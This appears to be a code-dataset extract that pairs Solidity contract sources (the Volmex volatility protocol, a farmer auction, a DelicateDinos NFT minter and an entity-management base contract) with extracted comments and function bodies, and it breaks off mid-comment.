"../interfaces/IERC20Modified.sol"; import "../library/VolmexSafeERC20.sol"; /** * @title Protocol Contract * @author volmex.finance [[email protected]] */ contract VolmexProtocol is Initializable, OwnableUpgradeable, ReentrancyGuardUpgradeable { using VolmexSafeERC20 for IERC20Modified; event ToggleActivated(bool isActive); event UpdatedVolatilityToken( address indexed positionToken, bool isVolatilityIndexToken ); event UpdatedFees(uint256 issuanceFees, uint256 redeemFees); event UpdatedMinimumCollateral(uint256 newMinimumCollateralQty); event ClaimedFees(uint256 fees); event ToggledVolatilityTokenPause(bool isPause); event Settled(uint256 settlementPrice); event Collateralized( address indexed sender, uint256 collateralLock, uint256 positionTokensMinted, uint256 fees ); event Redeemed( address indexed sender, uint256 collateralReleased, uint256 volatilityIndexTokenBurned, uint256 inverseVolatilityIndexTokenBurned, uint256 fees ); // Has the value of minimum collateral qty required uint256 public minimumCollateralQty; // Has the boolean state of protocol bool public active; // Has the boolean state of protocol settlement bool public isSettled; // Volatility tokens IERC20Modified public volatilityToken; IERC20Modified public inverseVolatilityToken; // Only ERC20 standard functions are used by the collateral defined here. // Address of the acceptable collateral token. IERC20Modified public collateral; // Used to calculate collateralize fee uint256 public issuanceFees; // Used to calculate redeem fee uint256 public redeemFees; // Total fee amount for call of collateralize and redeem uint256 public accumulatedFees; // Percentage value is upto two decimal places, so we're dividing it by 10000 // Set the max fee as 5%, i.e. 500/10000. uint256 constant MAX_FEE = 500; // No need to add 18 decimals, because they are already considered in respective token qty arguments. uint256 public volatilityCapRatio; // This is the price of volatility index, ranges from 0 to volatilityCapRatio, // and the inverse can be calculated by subtracting volatilityCapRatio by settlementPrice. uint256 public settlementPrice; /** * @notice Used to check contract is active */ modifier onlyActive() { require(active, "Volmex: Protocol not active"); _; } /** * @notice Used to check contract is not settled */ modifier onlyNotSettled() { require(!isSettled, "Volmex: Protocol settled"); _; } /** * @notice Used to check contract is settled */ modifier onlySettled() { require(isSettled, "Volmex: Protocol not settled"); _; } /** * @dev Makes the protocol `active` at deployment * @dev Sets the `minimumCollateralQty` * @dev Makes the collateral token as `collateral` * @dev Assign position tokens * @dev Sets the `volatilityCapRatio` * * @param _collateralTokenAddress is address of collateral token typecasted to IERC20Modified * @param _volatilityToken is address of volatility index token typecasted to IERC20Modified * @param _inverseVolatilityToken is address of inverse volatility index token typecasted to IERC20Modified * @param _minimumCollateralQty is the minimum qty of tokens need to mint 0.1 volatility and inverse volatility tokens * @param _volatilityCapRatio is the cap for volatility */ function initialize( IERC20Modified _collateralTokenAddress, IERC20Modified _volatilityToken, IERC20Modified _inverseVolatilityToken, uint256 _minimumCollateralQty, uint256 _volatilityCapRatio ) public initializer { __Ownable_init(); __ReentrancyGuard_init(); require( _minimumCollateralQty > 0, "Volmex: Minimum collateral quantity should be greater than 0" ); active = true; minimumCollateralQty = _minimumCollateralQty; collateral = _collateralTokenAddress; volatilityToken = _volatilityToken; inverseVolatilityToken = _inverseVolatilityToken; volatilityCapRatio = _volatilityCapRatio; } /** * @notice Toggles the active variable. Restricted to only the owner of the contract. */ function toggleActive() external virtual onlyOwner { active = !active; emit ToggleActivated(active); } /** * @notice Update the `minimumCollateralQty` * @param _newMinimumCollQty Provides the new minimum collateral quantity */ function updateMinimumCollQty(uint256 _newMinimumCollQty) external virtual onlyOwner { require( _newMinimumCollQty > 0, "Volmex: Minimum collateral quantity should be greater than 0" ); minimumCollateralQty = _newMinimumCollQty; emit UpdatedMinimumCollateral(_newMinimumCollQty); } /** * @notice Update the {Volatility Token} * @param _positionToken Address of the new position token * @param _isVolatilityIndexToken Type of the position token, { VolatilityIndexToken: true, InverseVolatilityIndexToken: false } */ function updateVolatilityToken( address _positionToken, bool _isVolatilityIndexToken ) external virtual onlyOwner { _isVolatilityIndexToken ? volatilityToken = IERC20Modified(_positionToken) : inverseVolatilityToken = IERC20Modified(_positionToken); emit UpdatedVolatilityToken(_positionToken, _isVolatilityIndexToken); } /** * @notice Add collateral to the protocol and mint the position tokens * @param _collateralQty Quantity of the collateral being deposited * * NOTE: Collateral quantity should be at least required minimum collateral quantity * * Calculation: Get the quantity for position token * Mint the position token for `msg.sender` * */ function collateralize(uint256 _collateralQty) external virtual onlyActive onlyNotSettled { require( _collateralQty >= minimumCollateralQty, "Volmex: CollateralQty > minimum qty required" ); // Mechanism to calculate the collateral qty using the increase in balance // of protocol contract to counter USDT's fee mechanism, which can be enabled in future uint256 initialProtocolBalance = collateral.balanceOf(address(this)); collateral.safeTransferFrom(msg.sender, address(this), _collateralQty); uint256 finalProtocolBalance = collateral.balanceOf(address(this)); _collateralQty = finalProtocolBalance - initialProtocolBalance; uint256 fee; if (issuanceFees > 0) { fee = (_collateralQty * issuanceFees) / 10000; _collateralQty = _collateralQty - fee; accumulatedFees = accumulatedFees + fee; } uint256 qtyToBeMinted = _collateralQty / volatilityCapRatio; volatilityToken.mint(msg.sender, qtyToBeMinted); inverseVolatilityToken.mint(msg.sender, qtyToBeMinted); emit Collateralized(msg.sender, _collateralQty, qtyToBeMinted, fee); } /** * @notice Redeem the collateral from the protocol by providing the position token * * @param _positionTokenQty Quantity of the position token that the user is surrendering * * Amount of collateral is `_positionTokenQty` by the volatilityCapRatio. * Burn the position token * * Safely transfer the collateral to `msg.sender` */ function redeem(uint256 _positionTokenQty) external virtual onlyActive onlyNotSettled { uint256 collQtyToBeRedeemed = _positionTokenQty * volatilityCapRatio; _redeem(collQtyToBeRedeemed, _positionTokenQty, _positionTokenQty); } /** * @notice Redeem the collateral from the protocol after settlement * * @param _volatilityIndexTokenQty Quantity of the volatility index token that the user is surrendering * @param _inverseVolatilityIndexTokenQty Quantity of the inverse volatility index token that the user is surrendering * * Amount of collateral is `_volatilityIndexTokenQty` by the settlementPrice and `_inverseVolatilityIndexTokenQty` * by volatilityCapRatio - settlementPrice * Burn the position token * * Safely transfer the collateral to `msg.sender` */ function redeemSettled( uint256 _volatilityIndexTokenQty, uint256 _inverseVolatilityIndexTokenQty ) external virtual onlyActive onlySettled { uint256 collQtyToBeRedeemed = (_volatilityIndexTokenQty * settlementPrice) + (_inverseVolatilityIndexTokenQty * (volatilityCapRatio - settlementPrice)); _redeem( collQtyToBeRedeemed, _volatilityIndexTokenQty, _inverseVolatilityIndexTokenQty ); } /** * @notice Settle the contract, preventing new minting and providing individual token redemption * * @param _settlementPrice The price of the volatility index after settlement * * The inverse volatility index token at settlement is worth volatilityCapRatio - volatility index settlement price */ function settle(uint256 _settlementPrice) external virtual onlyOwner onlyNotSettled { require( _settlementPrice <= volatilityCapRatio, "Volmex: _settlementPrice should be less than equal to volatilityCapRatio" ); settlementPrice = _settlementPrice; isSettled = true; emit Settled(settlementPrice); } /** * @notice Recover tokens accidentally sent to this contract */ function recoverTokens( address _token, address _toWhom, uint256 _howMuch ) external virtual nonReentrant onlyOwner { require( _token != address(collateral), "Volmex: Collateral token not allowed" ); IERC20Modified(_token).safeTransfer(_toWhom, _howMuch); } /** * @notice Update the percentage of `issuanceFees` and `redeemFees` * * @param _issuanceFees Percentage of fees required to collateralize the collateral * @param _redeemFees Percentage of fees required to redeem the collateral */ function updateFees(uint256 _issuanceFees, uint256 _redeemFees) external virtual onlyOwner { require( _issuanceFees <= MAX_FEE && _redeemFees <= MAX_FEE, "Volmex: issue/redeem fees should be less than MAX_FEE" ); issuanceFees = _issuanceFees; redeemFees = _redeemFees; emit UpdatedFees(_issuanceFees, _redeemFees); } /** * @notice Safely transfer the accumulated fees to owner */ function claimAccumulatedFees() external virtual onlyOwner { uint256 claimedAccumulatedFees = accumulatedFees; delete accumulatedFees; collateral.safeTransfer(owner(), claimedAccumulatedFees); emit ClaimedFees(claimedAccumulatedFees); } /** * @notice Pause/unpause volmex position token. * * @param _isPause Boolean value to pause or unpause the position token { true = pause, false = unpause } */ function togglePause(bool _isPause) external virtual onlyOwner { if (_isPause) { volatilityToken.pause(); inverseVolatilityToken.pause(); } else { volatilityToken.unpause(); inverseVolatilityToken.unpause(); } emit ToggledVolatilityTokenPause(_isPause); } function _redeem( uint256 _collateralQtyRedeemed, uint256 _volatilityIndexTokenQty, uint256 _inverseVolatilityIndexTokenQty ) internal virtual { uint256 fee; if (redeemFees > 0) { fee = (_collateralQtyRedeemed * redeemFees) / 10000; _collateralQtyRedeemed = _collateralQtyRedeemed - fee; accumulatedFees = accumulatedFees + fee; } volatilityToken.burn(msg.sender, _volatilityIndexTokenQty); inverseVolatilityToken.burn( msg.sender, _inverseVolatilityIndexTokenQty ); collateral.safeTransfer(msg.sender, _collateralQtyRedeemed); emit Redeemed( msg.sender, _collateralQtyRedeemed, _volatilityIndexTokenQty, _inverseVolatilityIndexTokenQty, fee ); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity =0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title VolmexSafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using VolmexSafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. * * NOTE: Inspired from Openzeppelin's SafeERC20 library. */ library VolmexSafeERC20 { function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "VolmexSafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = functionCall(address(token), data, "VolmexSafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "VolmexSafeERC20: ERC20 operation did not succeed"); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "VolmexSafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: 0 }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity =0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @dev Modified Interface of the OpenZeppelin's IERC20 extra functions to add features in position token. */ interface IERC20Modified is IERC20 { function symbol() external view returns (string memory); function mint(address _toWhom, uint256 amount) external; function burn(address _whose, uint256 amount) external; function grantRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; function pause() external; function unpause() external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
Safely transfer the accumulated fees to owner/
function claimAccumulatedFees() external virtual onlyOwner { uint256 claimedAccumulatedFees = accumulatedFees; delete accumulatedFees; collateral.safeTransfer(owner(), claimedAccumulatedFees); emit ClaimedFees(claimedAccumulatedFees); }
9,919,657
pragma solidity >=0.4.22 <0.9.0; //pragma solidity >=0.4.22 <0.6.0; contract Auction { address payable public farmer; uint public auctionEndTime; address public highest_bidder; uint public highest_bid; uint MSP; string productname; bool ended; event HighestBidIncreased(address bidder, uint amount); event AuctionEnded(address winner, uint amount); constructor( uint _biddingTime, //address payable _beneficiary, uint _MSP, string memory _productname ) public { farmer = msg.sender; auctionEndTime = block.timestamp + _biddingTime; MSP = _MSP; productname = _productname; } function bid(uint k) public { require( block.timestamp <= auctionEndTime, "Auction already ended." ); require( k > highest_bid, "There already is a higher bid." ); highest_bidder = msg.sender; highest_bid = k; emit HighestBidIncreased(msg.sender, highest_bid); //return highest_bid; } function getFarmer() public view returns(address){ return farmer; } function getAuctionEndTime() public view returns(uint256){ return auctionEndTime; } function getHighestBid() public view returns(uint){ return highest_bid; } function getHighestBidder() public view returns(address){ return highest_bidder; } function getMSP() public view returns(uint){ return MSP; } function auctionSTATUS() public { require(block.timestamp >= auctionEndTime, "Auction not yet ended."); require(!ended, "Auction has already ended."); ended = true; emit AuctionEnded(highest_bidder, highest_bid); // farmer.transfer(highest_bid); } }
farmer.transfer(highest_bid);
function auctionSTATUS() public { require(block.timestamp >= auctionEndTime, "Auction not yet ended."); require(!ended, "Auction has already ended."); ended = true; emit AuctionEnded(highest_bidder, highest_bid); }
12,771,290
./full_match/5/0xd507cebBd76bFA8ef39562282a2c8EdD4Fc68D77/sources/project_/contracts/BaseContracts/Base721A.sol
checks if an address reached limit per wallet minter address user minting nft quantity amount of tokens being minted/
function _checkLimit(address minter, uint256 quantity) public view returns (bool) { return _mintsPerUser[_phase][minter] + (quantity) <= _mintsPerAddressLimit; }
1,901,240
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "./WhitelistManager.sol"; import "./interfaces/IDelicateDinos.sol"; import "./interfaces/IDelicateDinosRaffle.sol"; import "./interfaces/IDinoUpToken.sol"; import "./libs/DelicateDinosUpgrade.sol"; import "./libs/DelicateDinosMetadata.sol"; /** @title A controller contract for minting Dinos in whitelist / public sale mode */ contract DelicateDinosMinter is Ownable, WhitelistManager { address public dinosContract; error MintModeMustBeUnset(); error NoWhitelistMint(); error NoPublicSale(); error PublicSaleIsOver(); error WrongMintFee(); error SetupWithZeroMaxMint(); error SetupWithInitialPriceBelowMinPrice(); error MintLimit(); error NumberToMintAndNamesMismatch(); enum MintMode { NOT_SET, WHITE_LIST, PUBLIC_SALE } MintMode public mintMode; uint256 public mintFee; // fee to mint 1 Dino uint256 public maxMint; // max dinos that a whitelisted user can mint mapping(address => uint256) public mintedInSale; // number of dinos minted by account during public sale uint256 public initialSaleTime; // timestamp uint256 public initialSalePrice; // MATIC uint256 public salePriceDecrement; // MATIC uint256 public minSalePrice; // MATIC uint256 public saleTierDuration; // seconds constructor(address _dinosContract) { dinosContract = _dinosContract; } function stopMint() public onlyOwner { mintMode = MintMode.NOT_SET; } function startWhitelistMint(bytes32 merkleRoot, uint256 _fee, uint256 _maxMint) public onlyOwner { if (mintMode != MintMode.NOT_SET) revert MintModeMustBeUnset(); if (_maxMint == 0) revert SetupWithZeroMaxMint(); resetWhitelist(merkleRoot); mintFee = _fee; maxMint = _maxMint; mintMode = MintMode.WHITE_LIST; } /// @notice Start the public sale. When price has gotten below min price, no more sales are possible. /// @param _initialSalePrice Sale begins at this inital price. /// @param _minSalePrice Sale ends when below this price. /// @param _salePriceDecrement Sale price decreases by this value once per tier. /// @param _saleTierDurationInHours Duration of a tier interval in HOURS /// @param _maxMint Maximum mintable Dinos per call function startPublicSale(uint256 _initialSalePrice, uint256 _minSalePrice, uint256 _salePriceDecrement, uint256 _saleTierDurationInHours, uint256 _maxMint) public onlyOwner { if (mintMode != MintMode.NOT_SET) revert MintModeMustBeUnset(); if (_maxMint == 0) revert SetupWithZeroMaxMint(); if (_initialSalePrice < _minSalePrice) revert SetupWithInitialPriceBelowMinPrice(); initialSalePrice = _initialSalePrice; minSalePrice = _minSalePrice; salePriceDecrement = _salePriceDecrement; saleTierDuration = _saleTierDurationInHours * 1 hours; maxMint = _maxMint; initialSaleTime = block.timestamp; mintMode = MintMode.PUBLIC_SALE; } /// @notice Mints given number of dinos to whitelisted account during whitelist round. /// @notice For any whitelist round, this function can only be called once per account. /// @param addr whitelisted account to mint to (future owner of Dinos) /// @param numberOfDinos how many dinos to mint function mintDinoWhitelisted(address addr, string[] memory names, bytes32[] calldata proof, uint256 numberOfDinos) public payable { if (mintMode != MintMode.WHITE_LIST) revert NoWhitelistMint(); if (msg.value != mintFee) revert WrongMintFee(); if (numberOfDinos > maxMint) revert MintLimit(); if (names.length != numberOfDinos) revert NumberToMintAndNamesMismatch(); checkWhitelisted(addr, proof); IDelicateDinos(dinosContract).requestMintDinos(addr, names); } /// @notice Mint price given the time passed since it started function currentSalePrice() public returns(uint256) { if (mintMode != MintMode.PUBLIC_SALE) revert NoPublicSale(); uint256 intervalsPassed = (block.timestamp - initialSaleTime) / saleTierDuration; uint256 priceDecrement = intervalsPassed * salePriceDecrement; if (initialSalePrice - minSalePrice < priceDecrement) revert PublicSaleIsOver(); return initialSalePrice - priceDecrement; } /// @notice Mint given number of dinos during public sale. /// @param addr whitelisted account to mint to (future owner of Dinos) /// @param numberOfDinos how many dinos to mint with this call function mintDinoPublicSale(address addr, string[] memory names, uint256 numberOfDinos) public payable { if (names.length != numberOfDinos) revert NumberToMintAndNamesMismatch(); if (mintMode != MintMode.PUBLIC_SALE) revert NoPublicSale(); uint256 salePrice = currentSalePrice(); // reverts if sale is over if (msg.value != salePrice * numberOfDinos) revert WrongMintFee(); if (numberOfDinos + mintedInSale[addr] > maxMint) revert MintLimit(); mintedInSale[addr] += numberOfDinos; IDelicateDinos(dinosContract).requestMintDinos(addr, names); } /// @notice Convenience function for frontend function mintsLeftInCurrentRound(address addr) public returns(uint256) { if (mintMode == MintMode.NOT_SET) return 0; return maxMint - mintedInSale[addr]; } }
Mint given number of dinos during public sale. addr whitelisted account to mint to (future owner of Dinos) numberOfDinos how many dinos to mint with this call
function mintDinoPublicSale(address addr, string[] memory names, uint256 numberOfDinos) public payable { if (names.length != numberOfDinos) revert NumberToMintAndNamesMismatch(); if (mintMode != MintMode.PUBLIC_SALE) revert NoPublicSale(); if (msg.value != salePrice * numberOfDinos) revert WrongMintFee(); if (numberOfDinos + mintedInSale[addr] > maxMint) revert MintLimit(); mintedInSale[addr] += numberOfDinos; IDelicateDinos(dinosContract).requestMintDinos(addr, names); }
13,113,829
./partial_match/1/0xd6F2E30B99214B6eaffBE2B270d2e42c762a929B/sources/DisputeManager.sol
Internal function to get the stored juror weight for a round. Note that the weight of a juror is: - For a regular round: the number of times a juror was picked for the round round. - For a final round: the relative active stake of a juror's state over the total active tokens, only set after the juror has voted. _round Dispute round to calculate the juror's weight of _juror Address of the juror to calculate the weight of return Weight of the requested juror for the given round/
function _getJurorWeight(AdjudicationRound storage _round, address _juror) internal view returns (uint64) { return _round.jurorsStates[_juror].weight; }
4,343,497
//SPDX-License-Identifier: MIT pragma solidity =0.8.10; /// @title Entity Management /// @author Andrei Zhozhin /// @notice This contract is used by other entities to implement common logic abstract contract EntityManagement { enum EntityType { UNDEFINED, MANUFACTURER, SERVICE_FACTORY, POLICE } enum State { SUSPENDED, ACTIVE } struct Entity { address addr; string name; State state; string metadataUri; // everything else is off-chain } event EntityAdded( EntityType indexed entityType, address indexed addr, string name, string metadataUri ); event EntityUpdated( EntityType indexed entityType, address indexed addr, string name, string metadataUri ); event EntitySuspended( EntityType indexed entityType, address indexed addr, string name ); event EntityResumed( EntityType indexed entityType, address indexed addr, string name ); /// @notice Checks if particular address is registered in entityMap modifier exists( mapping(address => Entity) storage entityMap, address addr ) { Entity memory entity = entityMap[addr]; require(entity.addr != address(0), "Entity does not exist"); _; } function _getEntity( mapping(address => Entity) storage entityMap, address addr ) internal view exists(entityMap, addr) returns (Entity memory) { return entityMap[addr]; } function _getEntities( mapping(address => Entity) storage entityMap, mapping(uint256 => address) storage entityIndex2Addr, uint256 count ) internal view returns (Entity[] memory) { Entity[] memory result = new Entity[](count); for (uint256 i = 0; i < count; i++) { result[i] = entityMap[entityIndex2Addr[i]]; } return result; } function _addEntity( EntityType type_, mapping(address => Entity) storage entityMap, mapping(uint256 => address) storage entityIndex2Addr, uint256 count, address addr, string memory name, string memory metadataUri ) internal returns (uint256) { Entity memory entity = entityMap[addr]; require(entity.addr == address(0), "Entity already exists"); require( startsWith(toSlice(metadataUri), toSlice("ipfs://")), "MetadataUri should start with ipfs://" ); entityMap[addr] = Entity(addr, name, State.ACTIVE, metadataUri); entityIndex2Addr[count] = addr; count++; emit EntityAdded(type_, addr, name, metadataUri); return count; } // we can change only metadataUri function _updateEntity( EntityType type_, mapping(address => Entity) storage entityMap, address addr, string memory metadataUri ) internal exists(entityMap, addr) { Entity storage entity = entityMap[addr]; entity.metadataUri = metadataUri; emit EntityUpdated(type_, addr, entity.name, entity.metadataUri); } function _suspendEntity( EntityType type_, mapping(address => Entity) storage entityMap, address addr ) internal exists(entityMap, addr) { Entity storage entity = entityMap[addr]; entity.state = State.SUSPENDED; emit EntitySuspended(type_, addr, entity.name); } function _resumeEntity( EntityType type_, mapping(address => Entity) storage entityMap, address addr ) internal exists(entityMap, addr) { Entity storage entity = entityMap[addr]; entity.state = State.ACTIVE; emit EntityResumed(type_, addr, entity.name); } // TODO: The following methods are taken from https://modex.tech/developers/idiana96/solidity-stringutils should be properly referenced as library struct slice { uint256 _len; uint256 _ptr; } /* * @dev Returns a slice containing the entire string. * @param 